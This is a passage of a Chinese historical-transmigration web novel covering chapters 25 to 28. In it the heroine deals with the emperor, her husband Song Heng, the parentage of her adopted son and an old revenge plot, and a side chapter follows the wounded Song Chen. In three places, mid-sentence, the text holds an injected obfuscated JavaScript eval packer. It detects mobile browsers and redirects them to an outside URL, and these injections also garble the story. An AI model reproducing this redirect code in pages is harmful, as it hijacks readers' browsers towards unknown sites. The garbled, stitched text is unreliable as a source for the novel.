我拿不准赵旭到底是个表情,抬眼去看汪静,想向他确认一下,赵旭到底笑没笑。 汪静见了我的目光,嘴角抽搐,立刻捂着半张脸,一副没眼看的样子。 我大怒:好歹相识一场,是生是死,给个准话啊! 正当我忐忑不安时,齐慎走了过来,他面上的菜色更重了,声音纠结:“李娘子想来有些误会,圣上与众兄弟们当时在你背后,并非与安顺王世子一道儿……” 我:“……” 看着齐慎每根眉毛似乎都在暗示:我们不是那种人时……我恨不得钻到地缝里去,赵旭却屈尊蹲下身,视线与我平齐,眼底带了些笑意:“在李娘子心中,朕的形象是这般啊!” 四周顿时响起了零星的笑声,赵旭瞥了一眼汪静,汪静轻咳一声,巷子顿时安静如鸡。 赵旭以一种耐人寻味的眼色看着我:“不过仔细想来,朕每次和李娘子碰见时,都不太着调,难怪李娘子这般看朕了。” 可不是嘛,不着调又不讲道理! “民妇知错……”我正欲再辩解时,赵旭用仅我们二人可闻的声音问我:“朕听说李娘子想与宋大人和离?”。 我知道他一心想凑成他师娘和宋珩的好事,识趣地自请下堂:“莫非圣上愿意下道圣旨促成此事,民妇感激不尽。” 赵旭浓眉高高一挑,低声说了些什么,我脑中嗡嗡作响,恍惚间似乎听到了宋珩的声音。 “微臣宋珩叩见圣上。”宋珩中气十足声音从巷外传来。 赵旭嘴角噙着笑,眼底却冷淡得近乎冷漠,大概见我惊疑地看着他,摇头轻笑起来:“罢了,宋卿这是吃定朕不愿泄露身份。阿静,宣宋卿进来,让他来评评,李娘子该当何罪。” 赵旭突然直起身来,我赶忙后退一步,忘了身后是齐慎,似乎是踩到了他的脚,身体不受控制地往后倒去。 一只冰凉的手,抓住了我的手腕,待我站稳之后,赵旭迅速地松开手,语气戏谑道:“朕的武状元确实生得英俊潇洒,不过年方二十二,家中前不久为他订了门亲事,李娘子还是饶了他吧。” 我:“……” 宋珩一过来,就行大礼,“扑通”跪在地上,开口为我们求情。 我不愿他为我低声下气,也想跟着跪,赵旭却先我一步,亲热地将跪在地上的宋珩扶起:“宋卿不必着急,朕只是跟李娘子,还有两位哥儿开个玩笑罢了。” “内子性格直率,若言语上冲撞了圣上,还请圣上看在她并无恶意份上,勿要跟她计较。” 宋珩给了我一个稍安勿躁的眼神,继续对着赵旭道。 他生得好,即便因劳累而憔悴,却难掩其如玉风华,不卑不亢地负手站在一旁,自成一道风景。 赵旭伸出“咸猪手”,捏着宋珩的肩膀,肉麻兮兮道:“李娘子即便犯下天大的错,可看在宋卿的面上,朕也不会为难她的。” 我瞅了瞅赵旭待宋珩的暧昧模样,又环视了一圈周遭的黑衣小哥们,捏下巴暗搓搓想:赵旭好美男的传闻也许不是空穴来风…… “宋珩,圣上胸怀宽广,怎会与我计较。” 毕竟宋珩是在为我求情,不能让赵旭继续借此揩油,我赶忙跑到宋珩身边抓住他的袖子,不着痕迹地挤开赵旭的“咸猪手。” 宋珩见状微笑,反手握住我的手,与我十指相扣,我尴尬地甩了半天也没甩掉。 赵旭神色莫名地看着我们紧握的双手,啧啧两声,甩袖告辞。 汪静和齐慎目不斜视地跟着离开了,黑衣小哥们好奇心比较强,偷偷地打量我和宋珩好几眼,才追着三人的步伐鱼贯而出。 待他们的身影消失后,李越青领着宋沛地走了过来,刚喊了声姑父,就听见宋珩道:“越青、沛哥儿,你们今天受惊了,早点回去休息,锦叔在前边儿等你们呢。” 宋珩面上虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730440|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和颜悦色,语气不容置疑。 李越青眼神往我这里飘来,我朝他点点头,示意他赶紧走。 “咳……你怎么来了?” 今天的事情发生得突然,从我跑出梦归楼,到赵旭离开,还不到半个时辰,我没想到宋珩会这么快找来。 宋珩转过身来,轻描淡写道:“刚刚同僚约我至梦归楼,发现里面狼藉一片,听说原委后,猜可能是娘子。 我又听说娘子跑后,一群黑衣人从后门追了出去,怕娘子出事,便一路寻来,结果真的找到了娘子。圣上没有为难娘子吧?” 我赶忙摇摇头,看着他脑门的汗水,内心微微有些内疚:“这次是我冲动了,害你担心了。” “事出有因,素娘子不过无妄之灾罢了,莫要往心里去。”宋珩神色缓和下来,摇摇头后,又严肃地看向我:“只是天子脚下,一言一行皆容易被有心人利用,往日有大哥和汪督公暗中照应,倒还平安无事。 近来圣上看似依然对大哥和汪督公信任有加,可身边新人渐起,只怕他们力有不逮。” 我表情沉痛地点点头,看来宋琛和汪静要失宠了,我要夹着尾巴做人了。 可我若不作天作地,宋珩怎肯与我和离? “用不着朕多此一举,李娘子可以去问问宋老爷,会有意想不到的收获。”想起赵旭刚刚的话,又忆及徐有凰两个月前曾说起:宋老爷和宋珩为多年的一封信起过争执…… 我想很快就能得偿所愿了。 宋珩大概见我神色不佳,以为我在为自己闯祸而内疚,拉起我的双手,温柔地安慰我:“娘子莫要往心里去,娘子做的事一直都是有益于百姓,只是世道对女子束缚颇多,才会被思想顽固之人抨击打压,我从来都是以娘子为荣的。 不只是我,天下间很多人都是佩服娘子的,娘子的存在告诉了女子:除了相夫教子之外,还可以凭自己的双手吃饭。” 我微微挣扎了一下手腕,冷眼望着他道:“我既然那么好,为何你不珍惜我,让我伤心?” “以前是我犯浑,可我的心自遇见你,便落在了你那里,从未变过。素娥,给我个机会,我们重新开始。” 宋珩听到我终于正面质问于他,他反而高兴起来,像个孩子似的紧紧地握住我的手,见我不言,一脸郑重发誓:“娘子,我会好好弥补娘子,再也不让娘子难过了。” 我心里不知为何有些心酸,垂下眼睑,不忍再看他期待的模样,狠狠踹了他一脚:“你想得美!” 宋珩顿时脸色发白,满脸痛苦地蹲下身,另一只手还没忘牢牢扣住我不放。 我忽视掉心底的愧疚之意,反而趁着他痛苦,用力甩脱他,指着他的鼻子大骂:“给老娘滚蛋,宋珩你也不撒泡尿照照镜子,你以为你还是十八九岁的时候么,能勾得老娘子色令智昏。 如今老娘图你什么啊,图你又老又丑?图你拖家带口?小白脸他不香嘛?” 整个巷子里正回荡着我的“不香嘛”,这时传来“扑通”落地声,一个黑衣人从墙上跌了下来,我定睛一看:这不是刚刚离去的齐慎么? 看到我和宋珩目光惊奇,齐慎神色不变,敏捷地从地上一跃而起,掸了两下身上的尘土,淡定道:“圣上的暖玉落到地上了,命我回来找一找。” 26. 第二十六章 隐情 赵旭的东西掉了,我和宋珩自然假模假样地帮着找,只是看来看去都没看见。 齐慎闷头寻摸了一会儿后,突然直起身来,盯着猫腰寻找的宋珩若有所思,径直大步来到宋珩面前,拱手客气道:“宋大人,劳您高抬贵脚!” 我意识到宋珩虽然一直伸着脖子张望,但似乎从来就没挪过地方,不禁看了看宋珩的脚,右脚面似乎高了一点儿,像是踩着什么。 宋珩微微一愣,抬起右脚,流光溢彩的红玉现了出来。 他似是刚察觉般面露诧异,然后俯身拾起红玉,拿袖子将灰尘擦拭干净,递给齐慎:“近来犯了足痹之症,一时不察,污了圣上之物,还望齐千户替在下美言一番,宋少卿感激不尽。” 齐慎眼睛微眯,看了宋珩好一会儿,才接过红玉,意有所指道:“宋大人不该犯足痹之症,应犯股痹之症,想来也不用痛得龇牙咧嘴了。” 宋珩幽怨地瞟向我,见我“惭愧”地低下头,才微笑着对齐慎道:“不劳齐千户操心。” 齐慎离去后,我伸着脖子将里里外外看了一圈,确认没人,愤怒质问宋珩:“为何这么幼稚,踩圣上的暖玉作甚,还踩着不放,难道不怕圣上治你个大不敬之罪?” 宋珩遭殃我是不在乎的,只是赵旭喜怒无常,又小心眼儿,牵连了我怎么办? “圣上明显想勾搭娘子,我自然不能给他机会。”宋珩无辜摊手,继而一撸袖子怒道:“我为他做牛做马,出生入死,他竟想撬我墙角,不当人子!” 我鄙视道:“少在这里倒打一耙,明明看上你了,刚刚他见你之际,毛手毛脚的,左一口爱卿,右一口宋卿的,肉麻得要死。” “娘子少和圣上接触,若是不慎撞见他,离他远些。我宋珩一表人才,天下多少女子的梦中情人,不也被娘子迷得神魂颠倒?”宋珩见我不以为意,太阳穴跳跳:“当年我不顾兄弟情意,跪地求了大哥许久,才将你娶到手的。皇上虽说俗人一个,可眼力还是有的,他随心所欲惯了,不达目的不罢休……” 我直接省略了他的前后,什么叫“求了宋琛许久,才将我娶到手的”,合着宋琛当年还是愿意娶我的。 “虽然大哥那时不知是你救了他,但你家世好,又有本事。”宋珩自知失言,索性破罐子破摔,直接承认了,还不忘掺点儿私货:“大哥我了解,只会娶两种人,要么对他有用的,要么生得美貌。他当时郁郁不得志,早就想找一个强力岳父,你是李尚书的女儿,没有不娶你道理。” 这话怎么这么耳熟呢? 当年徐有凰一直觉得孙月骄只是个卖豆腐,空有皮囊的贫寒女子,想不通李素基当初为何娶了她。 当时我们以为李素基会说出一番情深似海的理由,结果他狠狠打碎了我们的幻想:“当年我病得快死了,高门淑女没一个愿意嫁给我,只好找小门小户的女子,既然如此,自然要挑最漂亮的。” 思及此处,我叹了口气道:“大哥的择偶观跟我大哥倒是如出一辙。” 有时候想想孙月骄会和徐有凤旧情复燃,也许有点说得通的理由。她虽不聪明,可因耀眼的美貌,一直活在众人的爱慕之中,如何察觉不出李素基的真实想法。 正如她所说:如若不是李素基横插一杠,她早就嫁给了相爱之人,这辈子定能有个幸福的人生。 宋珩淡淡道:“世人以前不常说:大哥身上有大舅哥的风范,乃小李素基么?” “那有凰怎么回事?”我赶紧转移了话题。 这是宋琛内心的隐痛,他性情孤傲,怎会甘愿当别人的影子。 “大哥见我非你不可,他向来疼我,只好前去退婚。可退婚需要一个理由,刚好他对大嫂的印象不坏,大嫂对他有意,就娶了大嫂。为了打消爹娘对大嫂的不满,既然大嫂自称对他有救命之恩,他便顺水推舟承认了。” 见我嘴巴张成O型,宋珩好笑地替我把嘴合上:“报恩的方式千百种,犯不着将自己的一生搭进去,大哥对大嫂是有情的。” 那徐有凰知不知宋琛已经知道了,她素来心眼儿多,又和宋琛夫妻多年,没理由不知道。 我一直以为宋琛不知徐有凰顶替我救命恩人一事,还老拿此事作把柄,威吓徐有凰…… 原来他夫妻二人一直揣着明白装糊涂啊,那我岂不枉做小人! 宋珩见我神色变幻,捏了捏我的脸,笑道:“他二人心里明白,但肯定未说开,否则徒生尴尬。这夫妻之间最重要的是难得糊涂,娘子说是不是这个理儿?” “放屁!”听着他意有所指的话,我拍开他的手,白他一眼:“有些事可以糊涂,有些事糊涂不得!” 宋珩摸着鼻子,赞同道:“确实如此,娘子我们今后要坦诚相待,可不能再让人离间我们。” “滚!” …… 回到宋府,发现李越青、胭脂、宋沛都在我屋里吃茶点,见我回来,全部起身,眼睛亮晶晶地盯着我。 我与他们打了声招呼,三两下地跨进屋中,来到桌前,顾不得坐下,端起茶壶,倒了大碗茶水,仰头“咕咕”灌了下去。 梦归楼的菜,色香俱全,就是味重,又咸又麻。 “哟,这般晚才回来,姑姑和姑父不会是重温故地了吧!”李越青说起酸话来,显然对于宋珩支开他,还是心有不满。 我懒得搭理他,找个理由将李越青和胭脂支开,只剩我和宋沛后,才看向宋沛,他正耸拉着脑袋,神色不安地偷偷看我,欲言又止。 这孩子心思重,喜欢把责任往身上揽,我摸了摸他的脑袋:“沛哥儿,今天之事与你无关,是隔壁那群下流胚子欠收拾,当然娘也是嘴欠。” 宋沛抽泣道:“若不是我,娘也不会惹上圣上。” 我赶忙安慰他。 除了开始我有点儿怕之外,后来我就意识到赵旭并非真的想要杀我。 他手握天下人生死大权,若真心想杀我,是不会和我磨叽的。 当年只因赵旭的怀疑,一道圣旨便让我进了昭狱,受尽折磨,生死一线。 甚至有时,连圣旨都不需要,李素基连一句辩解都没有,直接自尽了。 我猜赵旭故意是戏弄我,我索性陪着他演戏,当个小丑逗他开心罢了。 宋沛闻言,沉默了一会儿:“娘亲,我令你受屈辱了。” 我摸着他的头,笑道:“逗皇帝开心,算什么屈辱,很多人巴不得呢!” 宋沛钻入我怀中,不再开口,只是眼泪濡湿了我的肩头。 摸着宋沣的弯曲脊骨,我意识到这孩子又抽条了,种了八年的树,别人来摘果,难怪我对林思薇有着那么多敌意。 “沛哥儿,那个姓林的漂亮阿姨,你遇见了许多次,应该知道她才是你的亲生母亲。” 怀中的宋沣身体一僵,我轻轻拍了拍他的后背,继续道:“以前我很自私,不想将你让给她,一直自欺欺人地假装不知道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宁慈没有理会我的威胁,继续往我心口插刀子:“俗话说的好龙生龙,凤生凤,老鼠的儿子会打洞,李思苑这一家子就没一个好东西,宋沛定然白眼狼一个,你到时候后悔可就来不及了。” 无视我要撕烂她嘴的样子,宁慈振振有词道:“你不是常说做人要及时止损么?你对宋珩都快做到了,对着宋沛怎么就做不到?” 我听她说话离谱,气急败坏道:“宋珩跟沛哥儿是一回事么!” 宋珩跟我顶天就两年的感情,宋沛在我身边长了八年,何况他又是那么的孝顺。 宁慈似有所悟,我以为她懂我的意思了,结果她眉头一挑,目光猥琐:“他生得跟宋珩越来越像,莫不是你有什么龌龊心思?” 我:“……” …… 我和宋沛的感情是在相处中一点一点培养起来。 但不可否认的是:我待宋沛,始终存在着一种怜惜之意。 也许从他身上,我看见了前世那个小心翼翼的自己。 进入陆家前,我寄养在亲戚家,每天看别人的脸色过活。 来到陆家后,虽然养父承诺过:你救了陆誊,永远是陆家的女儿。 可我还是整日惶恐担心会不会被送走,甚至阴暗地希望陆誊长病不起,那样我就可以一直捐髓,可以在陆家长大,长到足以独自面对世间的风风雨雨。 直到养父养母死后,陆誊无论多艰难都没有丢掉我,我的心才真正安定下来,知道自己有了依靠,会平安顺利地长大了。 27. 第二十七章 报复 “宁慈,你不用再明里暗里地试图告诉我,宋沛是宋珩的儿子了。”我看着故作插科打诨的宁慈,轻轻对她道。 宁慈的猥琐模样凝固于脸上,看起来甚是滑稽,硬邦邦问道:“你是何时知道的?” 我回忆了下时间,“早就有所怀疑了,准确来讲是景化四年。” 那年收到玉清的信后,我就隐隐明白宋沛可能是宋珩的儿子,只是我不愿意去深想。 我从医近十年,只泄露过两人的隐私,一个是赵旭,另一个便是林思薇。 我明知女子在这世道艰难,尤其是流落过烟花之地的女子,却依旧打着“证明孟凝清白”高尚的旗号,将她不能生育之事公之于众,让她更加举步为艰。 其中未尝没有报复的心思。 虽然我一直自欺欺人,可昨日我终于骗不了自己了。 宋琛极为疼爱宋珩这个弟弟,连未婚妻都可以拱手相让,想必替宋珩背个黑锅也不在话下。 思及此处,我还想到了件往事: 泰和二十七年,骤然得知宋琛抱回个三岁多的宋沛,我一时为徐有凰不忿,跟宋珩抱怨起来:“大哥平日里待大嫂一往情深,人又一本正经,没想到背地里是这种人。” 宋珩脸色僵硬地转移了话题。 那时先帝十分信重李家,我又刚确诊有孕,正处于人生的最得意之时,哪里管得住嘴,继续吐槽:“说起来还得感谢大哥的不娶之恩,只是苦了大嫂,她一门心思要嫁给他,现在后悔了吧!” 话音刚落,就看见宋琛从假山后面踱了出来。 他当时一言未发,面无表情地拂袖而去,徒留我和宋珩尴尬不已地站在原地。 如果那时我肯好好看一看宋珩的表情,或许能看出些端倪,也就不会有今天的纠结和痛苦了。 “其实我一直很疑惑,宋沛明明已经在外面养到三岁了,为何宋琛会将他抱回府中?若是此事泄露,宋家定然讨不了好。” 我看向宁慈闪躲的眼神,轻轻问道:“宁慈,或者我该问你,为何对我这么好,好得远远超过我所能给的。” 我和宁慈的利益来往其实不在于写书,真正的大头来自金门快餐连锁店。 当年李府里面雇了许多残疾的老兵,他们不是立过大功,便是为李家流过血。景化二年时,李家一夜败亡,财产又被孙月骄卷走,我只能拿出些微薄的盘缠,将他们遣离了李家。 老兵们有些老家已无亲友,有些已经习惯了京城生活……总之种种原因,大多数并未离开京城,留在京中讨生活。可是毕竟身体有缺,京城又居大不易,他们生活得有些潦倒困苦。 若是李素基还在,他们断然不会沦落至此。 可李素基死了。 他出发辽东前,来宋家跟我告别,自言将与赵旭一起攻打后汗。 我却冷漠刻毒,骂他卑鄙无耻,咒他不得好死…… 没想到他真的不得好死了。野心勃勃地赶去辽东,欲要一展宏图,最后却狼狈不堪地逃回京城,成了出尔反尔之人,死得那般无奈又屈辱。 所有依附辽东李氏的人,也失去了遮风挡雨的大树,他们的日子变得艰难起来。 辽东远在千里,那里是何种光景,我已经无暇顾及。只是这些为李家出生入死的老兵,我却做不到视若无睹。 开始我直接掏钱接济他们,后来次数多了,他们也就不愿意接受了,甚至干脆搬家躲开我。 我终于明白,他们骨子里终究是傲气的,比起受人恩惠,他们更愿意自食其力。 怀着让他们在京城立足的初衷,我跑遍了京城的大街小巷,下了许多功夫,最后瞄准了民间近来大量兴起的中间市民,决定按照前世德基、麦劳的经营方式,开连锁快餐店。 只是出师未捷身先死,前期的本钱就卡住了我的一腔热情。我本来想豁出脸皮四处凑点儿,结果赵旭一道诏令将我送进了诏狱,出来后已经成了人人避之不及的存在。 故此我只能将开店的想法深埋心底,暗搓搓地攒钱。 从景化四年一直到景化六年,靠着给人看病和写话本,我终于存够了大笔积财,足以支撑前期的开店了。 说起来还要感谢赵旭,正是他当年贡献的天价诊费,我才能在近三年时间里赚够本钱,否则开店之期还得延后。 在这个时代开餐饮店,还是连锁店,没有后台可不行。 宁慈出身归远侯府,她的侯爷老爹又是前军都督府左都督,扯她的大旗,足以震慑宵小。 刚好那时她因林思薇,正跟孟青平闹气,在孟家罢工摆烂。 我便趁机许以三成干股,鼓动她抛头露面,亲自来管理金门连锁店事宜。 由于定位明确,选址毒辣,管理模式先进,加上有宁家和宋家的帮衬,另外老兵们本来纪律性高,十分适应餐饮流水线业务,几乎每所金门快餐店皆日进斗金,后来还扩大了规模,甚至将店开到了京城之外。 由于嫌我给老兵们分得太多了,而且快餐店走上正轨后,我大多时候在当甩手掌柜,宁慈的嫂子起了想法,欲把我踢出去。 宁慈得知她的打算后,直接把归远侯府踢了出去,搞得我都不好意思再借宿归远侯府了…… “因为我在给孟青平赎罪。”宁慈沉默了一会儿,语气艰难道:“还记得那是泰和二十七年,姜氏和李氏斗争越发激烈,孟青平认为要打倒李氏必须从你入手。” 我苦笑着摇摇头,孟青平盯住我不奇怪。 辽东李氏的利润点基本源于生物技术的发达,比如新药、良种、肥料、农药、畜禽养殖、美妆等等一系列上下游产物,由于实验器材落后,大量的实验都是经过我的入微之术。 我可以毫不客气地说,我前世的见识和入微之术撑起了李氏基业的半边天。 不带私人感情地说,孟青平甚至可以说走一步好棋。 “他知你受不得刺激,从林思薇处得知宋沛是宋珩之子,便想大肆宣扬此事。一来诱你精神失常,拖住李氏的研究;二来离间李家和宋家的关系,引起李氏内部不和。” 入微之术确实好用,可也不是没有代价。用得愈深,我的精神就愈发失常,无故发火动怒,更受不得半点刺激。 但我怀孕后,害怕影响到孩子,就停止了手头一切工作,不再使用入微之术。 恐怕孟青平更多地是想离间李、宋两家。 我成为李素娥之前,李家就已经开始了新学的研究,甚至还得到了姜氏的技术。 其实不独独李氏,其他各地世家大族皆有姜氏的技术。 泰和十八年,先帝担忧其尾大不掉,强行将姜氏的许多产业技术传到各地,意图削弱姜氏的影响力。 只是各地拿到技术后,依瓢画葫芦仿照姜氏建立作坊,产物却不如姜氏便宜好用,几乎全部亏得吐血。 唯有辽东李氏大力整治贪官污吏,夺回卫所土地还给军户,条件则是辽东境内军民必须配额李氏的产物。 同时李氏依照地利之便,将产物销往后汉,才勉强存活下去。 姜氏也看出了李氏的潜力,开始全力围剿李氏。 朝堂上,姜氏日日参李氏“强买强卖”、“勾结后汉”、“对侵占卫所土地失察”,好在先帝留中不发。 朝堂外,姜氏仗着资金雄厚与李氏打起了价格战,大力冲击李氏的产物。 李氏节节败退,几乎功亏一篑。 这时全国各地的巨商大贾因嫉恨姜氏吃独食的行为,纷纷出钱出力入股李氏,撑着李氏与姜氏大打价格战。 很久以后,我才知道其中投钱最多的便是宋家,是李氏的大股东。 可笑,我还嘲笑宋珩只是个五品小官儿的次子,其实宋家因皇室庇佑,世代经营荆楚之地,几乎富可敌国…… “只是宋珩提前得知了他的计划,找姜侯爷阻止了他。由于孩子已经送了回来,宋琛干脆认作自己的私生子。” 我微微失神,陆誊到底还是不忍伤我,难怪明明占尽优势,却输得一败涂地,还死在了我亲手研制的“春眠”上…… “姜侯爷暴毙后,你疯疯癫癫了一段时间,稍稍清醒莫名其妙要收养宋沛,正好撞到了孟青平的圈套里。刚好他手上有宋琛的把柄,威胁宋琛促成此事,决定等你抚养宋沛一段时日后,再给你致命一击。” 我再一次苦笑,原来一切竟是我不自量力的咎由自取。 “可他还未来得及实施计划,李大哥便……”说到此处,宁慈停顿下来,大概见我神色平静,继续道:“李家出事后,你的疯病更厉害了,连李越青和胭脂都已经认不出来了,即便想告诉你真相,也没有人敢再讲出来,生怕刺激于你……” “始作俑者便是孟青平,以至你对宋沛爱不得又恨不得,受尽摧折。枉他饱读圣贤书,手段却如此阴狠毒辣。” 宁慈的脸上现出痛苦之意,“自从你不计前嫌,救了孟凝之后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730442|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我知道我们夫妻欠你的,这辈子都难以偿还……” “我早就报复过孟青平了,想来他已尝到了心如刀割的滋味儿。”我走到她的眼前,伸手抚平她眉间悔痛,似哭似笑地望着宁慈:“你是最清楚不过的。” 泰和二十九年,先帝白血病复发,不治而亡。赵旭匆忙登基,改年号为景化。 景化元年,我收养了宋沛。 宋珩曾拼命写信阻止,宋琛即便有心教训我在宋家仗势欺人,也不会不顾及宋珩的想法,唯一的解释便是宋琛有不得已的“苦衷”。 我猜出宋珩和林思薇的往事后,再联想起一件徐家的陈年往事,很快就锁定了孟青平。 泰和二十年,我开始了辐射种子实验。 因担心徐有凰受到伤害,每次实验都进行了极高的防护,徐有凰根本不可能在我眼皮底下暴露于辐射之下,除非她擅自行动。 得知她受伤,又发觉实验室丢了些种子后,我终于明白徐家应当是安插在李氏的细作。 本来我该将此事报给李素基,可徐家在李氏立下汗马功劳,也未真正侵害李家利益。 我知道李素基行事冷酷无情,担忧他得知此事后,会激进处理徐家,便偷偷瞒下了此事,只是暗中命人监视徐家的动态。 哪知李素基早就清楚徐家是先帝派来的细作,注意到我的小动作,还特意宽慰我:“有凰太小看我了,她是自讨苦头吃。我们李家本就是圣上为了遏制姜氏而存在,只要不是姜氏的人,我都会一视同仁。何况民以食为天,圣上即便不说,我也要献给圣上的。” 可我们当时却都不清楚,徐家最开始是陆誊安插到先帝身边的人。先帝又在不知情的情况下,将他们又派到了李氏。 孟青平是陆誊的得力心腹,早就知道徐家的这段陈年往事,以此威胁宋琛就范。 景化元年,姜氏已经失去了陆誊,元气大伤,可私底下仍旧小动作不断,闹得李素基焦头烂额。 若是李素基得知徐家是姜氏之人,以他对姜氏的忌惮,可不会顾及徐家跟李家沾亲带故,徐家即便不死,也定然要脱层皮。 至于我是如何知道徐家是两面细作的,是林思薇卖了他们。 我只是拆穿她不孕之事,然后暗示她:宋沛因徐有凰的刻意疏忽,才大病一场,落下了口吃的毛病。 她在愤恨之中,将徐家一干人卖了个干净。 我又告诉她:口吃可以矫正,有一对夫妻的感情不错,令我很是嫉妒,所以我没有心情给小孩子矫正口吃。 林思薇自此使出浑身解数更加地兴风作浪。 宁慈拂开我的手,轻声叹道:“如果说把我培养成孟青平心底喜欢的女子,那你就太便宜他了。” 我知道孟青平受陆誊影响极深,喜欢的就是林思苑那种,不畏世人眼光,敢在男人世界里打拼的女子。 我将宁慈从后宅中拉出,手把手地教她,一点一点地将她打造成孟青平心目的样子,然后与林思薇内外勾结挑唆他们的感情。 “那只是其中一环,重点是故意离间你们。我一直希望你能绿了孟青平,再生个大胖小子,让他也尝一尝养妻子私生子的滋味儿。” 虽未达到预期,可看着宁慈对孟青平越发的失望,孟青平一天比一天失落的眼神,我心底不禁有股大仇得报的爽快。 “李素娥我真是服了你了,害人都害不到点子上。如果我是你,当年就不会救宁慈,任她死在两年前的冬夜里,那样孟青平才会真正的痛彻心扉。” 宁慈点了点我的额头,一脸恨铁不成钢地道:“姜侯爷说得一点儿没错,你太妇人之仁了,总念些八竿子打不着的旧情,到头来受苦的却是自己。” 当然要怨陆誊自己,除了爱上林思苑以外,他对我太好了,永远像保护一朵易碎的娇花般,将所有的危险都挡在我身后。 他待我那般好,我又如何真正对他的心腹弟子出手。 毕竟人死如灯灭,这个世界真正念着陆誊,愿意为他复仇的人寥寥无几。 大多不过是借着为他复仇的旗号,为自己和家族谋取利益罢了。 “无论是姜侯爷,还是李大哥他们生前都最在乎你,我想他们在天之灵,最大的心愿也是希望你摆脱他们的束缚,好好地为自己而活。”说完,宁慈从袖中摸出一张泛黄的纸,轻轻地放入我的手心。 我仔细一看正是城西那套房子的地契,上面的主人已经变成了李素娥。 28. 第二十八章 番外:宋琛(一) 泰和二十六年,十来个骑着骏马的黑衣男子,神色匆匆地行在蜿蜒的山路上,众人时不时地抬头望向山顶的大昭寺,目光里充斥着焦急与渴望,似乎恨不得生出一双翅膀飞到里面去。 这群男子经过一片密林时,一个面白无须的中年男子,鼻翼微微抽动,像是嗅到了什么,迟疑片刻后,手微微向后扬起,勒马停下,对着身侧的人吩咐几句。 那人点点头,立即翻身下马,进入了密林之中。很快,密林中传出那人的惊呼声:“刘大人,你快来,这里有情况,是锦衣卫和西厂的人。” 中年男子带着剩余的人进入了密林,待看清眼前的情景后,心中不由一跳,虽然心中已有所预料,却没想到现场竟如此惨烈。 满目都是斑斑血迹,断肢残臂四处散落,尸体横七竖八地倒在地上,约莫二十来人,皆着黑衣,与中年男子等人身上的衣服极为相似,只是绣纹有所不同。 中年男子等人黑衣上绣着红鹤,地上的死尸则有两种绣纹,一种是飞鱼,一种是豹子,想来是两起人马,透过现场情形,不难猜出他们生前进行了何种残酷的拼杀。 中年男子的震惊之色消失后,忽然仰天大笑,对着左右道:“还以为锦衣卫和西厂的人会捷足先登,没想到他们都折在了这里了,时来运转啊。” 众黑衣男子闻言亦面露喜意。 “刘大人,那我们还是快快赶去大昭寺,莫要让太子等急了。” “对啊,大人,锦衣卫和西厂本就人多势众,可不止派了一队人马,他们消息灵通,很快就会赶过来的……” 正当众黑衣男子七嘴八舌中,先前进来之人此时来到中年男子身边,指着尸堆中两个胸口起伏的男子,悄悄道:“刘大人,属下刚刚发现还有两人尚存一息,一个是锦衣卫的宋百户,另一个是西厂的汪公公,他二人有些名气,皆是厂卫的佼佼者,特别是宋百户出自荆楚宋家,还是姜侯爷的弟子,来头不小。不过他二人伤得极重,怕是神仙难救……” 中年男子顺着他手指方向看去,不由地“嘶嘶”抽气。 尸堆里身着黑衣飞鱼纹的青年,就是中年男子等人口中的宋琛,只见他侧躺在地上,满脸血迹,一枚飞刀斜斜插入太阳穴,只余刀柄留在外面。 宋琛一步开外,一名相貌秀美的少年被一只箭矢当胸穿过,活活钉在树上,血一滴滴地往下流,染红了脚下的土地。 中年男子稳住心神后,冷冷瞥了眼地上的两人,摇摇头:“这种伤势即便霍太医恐怕也回天乏术,除非天下第一神医周芍亲自操刀,相传他有入微之术,尤擅外科手术。只是周神医还在内城,向来不肯轻易出手,即便请来也已经晚了。” 他没说出口的是:这两人虽然地位不高,可能力出众,为人又心狠手辣,十分难缠。圣上特别欣赏二人,有意磨炼他们,似乎想留给太子,今后很可能是他最大的竞争对手,不如让他们死在这荒郊野岭,反正又不是他动得手。 …… 待中年男子离去后,宋琛的手指微微颤动,原来中年男子等人来时,他一直是清醒的,只是来人是嫌隙甚深的东厂之人,担心他们会补上一刀,故意隐而不发,假装昏迷。 不过中年男子说得没错,宋琛确实伤得极重,连起身的力气都没有,甚至觉得自己失血过多,以致于眼睛都看不清了。 时间一点点流去,宋琛感觉身上变得愈加寒冷起来,意识昏沉之际,忽闻一道宛如天籁的女声在耳边响起,“蓉儿,快拿我的医疗箱过来,这里还有两个人活着。” “大小姐,你看他们都是厂卫,自相残杀得这般凶残,我们的家训不是君子不立于危墙之下么?” “此一时彼一时,救人要紧。若是不管,他们必死无疑。” 听着这略带辽东口音的话,宋琛心中的求生之火熊熊燃起,只是刚刚提起一口气,声音的主人语气变得沉重起来:“罢了蓉儿,他们伤得太重了,耽误太久了,又全部在要害,如果我们动了他们,反而死得更快。” “不,我还有救,小丫头医术不精,就莫要出来丢人现眼!”宋琛满心不甘,意识虽在努力挣扎,却发现连眼皮都睁不开,激动之下,脑中传来一阵剧痛,继而陷入了一望无际的黑暗之中。 